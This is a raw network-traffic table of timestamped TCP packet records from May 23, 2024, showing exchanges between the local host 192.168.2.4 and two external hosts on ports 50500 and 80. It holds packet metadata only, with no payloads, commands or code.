May 23, 2024 23:33:06.025388002 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.025388002 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:06.025399923 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.025412083 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.025424004 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.025434971 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.025445938 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.025446892 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:06.025456905 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.025469065 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.025480986 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.025491953 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.025500059 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:06.025502920 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.025515079 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.025527000 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.025559902 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:06.027118921 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.027133942 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.027146101 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.027157068 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.027168989 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.027177095 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:06.027179956 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.027193069 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.027204990 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.027216911 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.027224064 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:06.027228117 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.027252913 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.027265072 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.027276039 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.027278900 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:06.027287006 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.027298927 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.027311087 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.027323008 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.027333975 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.027344942 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.027344942 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:06.027359009 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.027370930 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.027383089 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.027393103 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:06.027440071 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:06.029009104 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.029023886 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.029035091 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.029047012 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.029057980 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.029068947 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:06.029069901 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.029083967 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.029095888 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.029108047 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.029114008 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:06.029119015 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.029130936 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.029144049 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.029155016 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.029162884 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:06.029166937 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.029179096 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.029191017 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.029197931 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:06.029201984 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.029215097 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.029227972 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.029239893 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.029251099 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.029253960 CEST	49730	50500	192.168.2.4	185.172.128.136
May 23, 2024 23:33:06.029263020 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.029274940 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.029285908 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.029298067 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.029309988 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.029323101 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.033966064 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.033977985 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.033988953 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.033999920 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.034004927 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.034045935 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.034056902 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.034068108 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.034101963 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.034112930 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.034122944 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.034133911 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.034145117 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.034156084 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.034167051 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.034178972 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.034189939 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.034202099 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.034213066 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.034224987 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.034235954 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.034904003 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.034917116 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.034928083 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.034939051 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.034950018 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.034960985 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.034972906 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.034984112 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.034996986 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.035012007 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.035023928 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.067006111 CEST	50500	49730	185.172.128.136	192.168.2.4
May 23, 2024 23:33:06.679965019 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:06.680197954 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:06.681318045 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:06.736119986 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:06.925595045 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:06.925616980 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:06.925770998 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:06.925770998 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:06.925935984 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:06.926179886 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:06.927439928 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:06.927455902 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:06.927475929 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:06.927520990 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:06.927561045 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:06.930449963 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:06.930499077 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:06.931996107 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:06.932012081 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:06.932025909 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:06.932140112 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:06.932140112 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:06.934997082 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:06.935350895 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:06.957881927 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:06.957968950 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:06.965280056 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:06.965380907 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.019804001 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.019969940 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.020879984 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.021011114 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.021944046 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.022075891 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.023675919 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.023685932 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.023730040 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.029671907 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.029681921 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.029690981 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.029700994 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.029710054 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.029891014 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.029891014 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.030777931 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.030786991 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.030913115 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.033184052 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.033195019 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.033236027 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.035635948 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.035648108 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.035809040 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.040132046 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.040143013 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.040152073 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.040293932 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.040293932 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.044877052 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.045041084 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.049839973 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.049998999 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.050394058 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.050550938 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.055208921 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.055264950 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.116710901 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.116858006 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.117192030 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.117327929 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.118803978 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.118855953 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.118865013 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.118901014 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.125078917 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.125113964 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.125148058 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.125180960 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.125214100 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.125258923 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.125258923 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.125258923 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.125258923 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.125258923 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.127028942 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.127063990 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.127089024 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.127130032 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.128360033 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.128393888 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.128500938 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.128500938 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.132174969 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.132208109 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.132246017 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.132265091 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.132791042 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.132823944 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.132854939 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.132977009 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.132977009 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.132977009 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.134777069 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.134810925 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.134836912 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.134854078 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.136806011 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.136840105 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.136900902 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.138715982 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.138751030 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.138782978 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.138823032 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.140670061 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.140705109 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.140743017 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.140743017 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.142662048 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.142695904 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.142728090 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.142739058 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.142739058 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.142770052 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.144603014 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.144637108 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.144705057 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.146420002 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.146454096 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.146512032 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.148240089 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.148274899 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.148350954 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.149846077 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.149879932 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.149910927 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.149950981 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.149950981 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.151457071 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.151492119 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.151531935 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.151531935 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.153165102 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.153198957 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.153234959 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.153266907 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.154582977 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.154649019 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.213177919 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.213265896 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.213397026 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.213586092 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.214243889 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.214306116 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.215121984 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.215188026 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.215996981 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.216032982 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.216090918 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.217745066 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.217780113 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.217811108 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.217813015 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.217832088 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.217884064 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.220037937 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.220101118 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.220298052 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.220331907 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.220371008 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.220371008 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.222006083 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.222038984 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.222065926 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.222070932 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.222085953 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.222126007 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.223767996 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.223802090 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.223829031 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.223860025 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.225133896 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.225168943 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.225194931 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.225224972 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.226532936 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.226567984 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.226598978 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.226635933 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.227873087 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.227906942 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.227967024 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.229265928 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.229300022 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.229326963 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.229331970 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.229346991 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.229382992 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.230706930 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.230742931 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.230767965 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.230798006 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.232028961 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.232062101 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.232084990 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.232110023 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.233287096 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.233319044 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.233340025 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.233362913 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.234568119 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.234600067 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.234632015 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.234632015 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.234652996 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.234695911 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.235903025 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.235935926 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.235960960 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.235991001 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.237050056 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.237082005 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.237124920 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.237158060 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.238310099 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.238343000 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.238382101 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.238382101 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.239506960 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.239540100 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.239567041 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.239598036 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.240606070 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.240638971 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.240669966 CEST	80	49733	185.172.128.82	192.168.2.4
May 23, 2024 23:33:07.240678072 CEST	49733	80	192.168.2.4	185.172.128.82
May 23, 2024 23:33:07.240706921 CEST	49733	80	192.168.2.4	185.172.128.82
